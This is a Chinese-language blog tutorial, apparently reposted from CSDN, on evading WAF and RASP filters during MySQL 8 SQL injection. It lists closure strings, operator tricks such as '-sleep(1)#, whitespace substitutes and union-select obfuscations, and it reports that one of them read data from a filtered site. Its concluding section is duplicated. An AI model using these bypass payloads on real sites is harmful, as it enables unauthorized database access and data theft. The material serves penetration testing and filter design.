本文主要结合本人绕过最近某rasp和一些waf的经验,分享绕过waf的思路,MySQL测试版本(8.0.31)
构造闭合
对于构造闭合,主要是判断一个sql注入能否利用的第一步,只有闭合成功,才能在添加我们自己想执行的sql函数,或者语句。mysql主要存在以下两个方式。
'#
'--+
一个就是逃逸字符,一般为单双引号(某些复杂的sql可能还需要括号等来进行闭合),或者是数字型的注入不需要逃逸字符,第二个就是注释字符,用来闭合后面的原始字符。
如同所示,选择的字符是我们的输入,对前面的的单引号进行了闭合,对后面的单引号进行了注释
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mXu7h2ec-1679646830347)(./MySQL注入绕过.assets/image-20230223170836542.png)]](/https://i-blog.csdnimg.cn/blog_migrate/af7fa3f09e9e92411745980a84ccf937.png)
闭合构造完成之后如果存在一些拦截规则,常规的注入语句是无法获取到数据的,包括sqlmap等,这时就需要我们进行手工注入,下面我为大家介绍一下,我绕waf的一个思路。
连接字符
我把可以直接在字符后面可以紧跟执行着函数的字符称为连接字符,如下
'sleep(1)# -- 执行失败
'-sleep(1)# -- 执行成功
执行失败展示
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okpMsKuk-1679646830349)(./MySQL注入绕过.assets/image-20230223171044795.png)]](/https://i-blog.csdnimg.cn/blog_migrate/705c2cd1d81695258a7f2c63d3f57945.png)
执行成功

在这里减号就连接了一个函数,我就把这种字符成为连接字符,当然,and,or也算在其中,以下是我总结的一些连接字符
& > >= < <> != <= <=> % MOD * + - / := = ^ | ~ && || ! and or not div
以上符号具体对绕waf有什么帮助呢,简单举个例子
and updataxml(..) -- 被拦截
^updataxml(..) -- 未拦截
and 1=1 -- 被拦截
-1+1 -- 未拦截
'/1 -- 未拦截
对此,可以看出,主要存在两个waf绕过的可能,一个是在注入最开始,产生布尔值用于判断sql注入是否真的存在,以及可以通过waf不能正确识别这些字符,绕过检测的可能。
对于加号,减号是一个比较特殊的存在,可进行如下无限叠加,且不会报错。
select-1; -- 正常执行
SELECT------------------1; -- 正常执行
SELECT+++++++--------1; -- 正常执行
可以看见确实成功执行了

空格绕过
空格(%20)在sql注入中有不可或缺的作用,所以单独提出来分享绕过空格的一些姿势
我把空格绕过分为两种绕过,完全替代和部分替代
完全替代
mysql支持一下空白字符,这些字符基本是完全等效于空格的
09 0A 0B 0C 0D A0 20
# 可使用各种常见编码尝试进行绕过 - 这里的编码主要还是得看运行的web容器,中间件等是否会解析该编码
%20
/u0020
/**/
/*!*/
部分替代
主要是一些连接字符,括号,等一些字符,如下
# 一些连接字符,如 + - 等
''
""
`
@
()
具体举例如下
# 均可正常执行
select(1)
select'',1
select-1
select@1
select!1
可以看见均可正常执行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l3CixNCW-1679646830353)(./MySQL注入绕过.assets/image-20230223171440018.png)]](/https://i-blog.csdnimg.cn/blog_migrate/9d46a5ef7525408e4fb4cd44045cab12.png)
为什么要分开,因为在测试过程中,我发现这些字符在一些场景并无法替代空格,下面举例的空格均无法使用这些字符替代,当然可能还存在更多的场景
into outfile
limit 1,1
可以看见均会爆语法错误,从而无法正确执行



limit是一个比较特殊的情况,一般关键字+数字这种形式均可用运算符号绕过空格,但是limit不行
正常执行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7I5F7WWX-1679646830355)(./MySQL注入绕过.assets/image-20230223171845619.png)]](/https://i-blog.csdnimg.cn/blog_migrate/1ac8db13bcece674d9518ba6bddccbfd.png)
减号报错,加号当然同样报错
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AepgNIES-1679646830356)(./MySQL注入绕过.assets/image-20230223171914104.png)]](/https://i-blog.csdnimg.cn/blog_migrate/31185cf7ecbca8b049cc424094619ccd.png)
甚至括号都不行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xdTyffuu-1679646830357)(./MySQL注入绕过.assets/image-20230223172002182.png)]](/https://i-blog.csdnimg.cn/blog_migrate/f10d65da16f585ea13d83fee6803a065.png)
关键字绕过
关键字绕过我主要分为两种思考方向,混淆绕过和等效替代,通过union select的绕过来对两种思考方向进行一个举例
假设存在一个waf,union select被进行的拦截,但是空格并未被拦截,或者我们以及找到替代,还是会被拦截的情况,
混淆绕过
union all select -- 利用官方语法混淆
/*大量脏数据*/union select
UniOn Select -- 大小写
union(select)
union%0dselect
举个具体例子
在这里直接使用union select被拦截
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y9mZg5Qi-1679646830383)(./MySQL注入绕过.assets/image-20230223172229889.png)]](/https://i-blog.csdnimg.cn/blog_migrate/446c977262647f3705eded2c0e0e0b18.png)
但是如果使用 union DISTINCT select就成功绕过
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hJHskoyj-1679646830384)(./MySQL注入绕过.assets/image-20230223172350103.png)]](/https://i-blog.csdnimg.cn/blog_migrate/1c9c6b2b37b0a93ea20daec609d7885b.png)
该网站后面还对infromation_schema.tables进行过滤,导致无法读表名,最后通过脏数据成功绕过
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IvtnsHna-1679646830395)(./MySQL注入绕过.assets/image-20230223173224141.png)]](/https://i-blog.csdnimg.cn/blog_migrate/21234baa88b541f8bfb25255d34cf58f.png)
成功读取数据
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w3sr43HB-1679646830397)(./MySQL注入绕过.assets/image-20230223173253312.png)]](/https://i-blog.csdnimg.cn/blog_migrate/5a046f350ccf01a798f376abd30c2356.png)
等效替代
-- mysql 8.0.19 之后可用table和values关键字
-- 具体使用可参考该文章 https://xz.aliyun.com/t/8646
union table
union vaules
之所以我会把两种分开,其实主要是在对关键字绕过的时候的思考方向分为两种,
一种是对union select的混淆,但本质上还是执行了union select语句,只是我们做了各种绕waf不能正常识别我们的union select。
另一种则是找到一些能在一些效能上部分或完全替代该union select关键字的作用,从而进一步进行注入
该实例是某rasp绕过测试,不太好直接放出payload,简单说明一下,该手段主要是通过,tables 读取flag从而可直接盲注出flag,具体注入手段可参考上面给出的参考连接,具体的注入手法相同。
总结
本文其实主要是结合我绕过waf的经验,以及这次某rasp绕过的思路总结,对waf绕过整理出一个清晰的思路,而不是没次都漫无目的的尝试,毫无逻辑可言,把思路整理清楚后,我发现对整个绕过的理解,以及速度都有到达的一个新的台阶,故整理出来和大家进行分享,如有不足支持,欢迎指出。
该实例是某rasp绕过测试,不太好直接放出payload,简单说明一下,该手段主要是通过,tables 读取flag从而可直接盲注出flag,具体注入手段可参考上面给出的参考连接,具体的注入手法相同。
总结
本文其实主要是结合我绕过waf的经验,以及这次某rasp绕过的思路总结,对waf绕过整理出一个清晰的思路,而不是没次都漫无目的的尝试,毫无逻辑可言,把思路整理清楚后,我发现对整个绕过的理解,以及速度都有到达的一个新的台阶,故整理出来和大家进行分享,如有不足支持,欢迎指出。
本文探讨了如何绕过WAF进行MySQL注入,包括构造闭合、连接字符、空格绕过和关键字绕过的方法。通过举例说明如何使用特殊字符、混淆关键字和等效替代来规避拦截,提升SQL注入的效率和成功率。

1065

被折叠的 条评论
为什么被折叠?



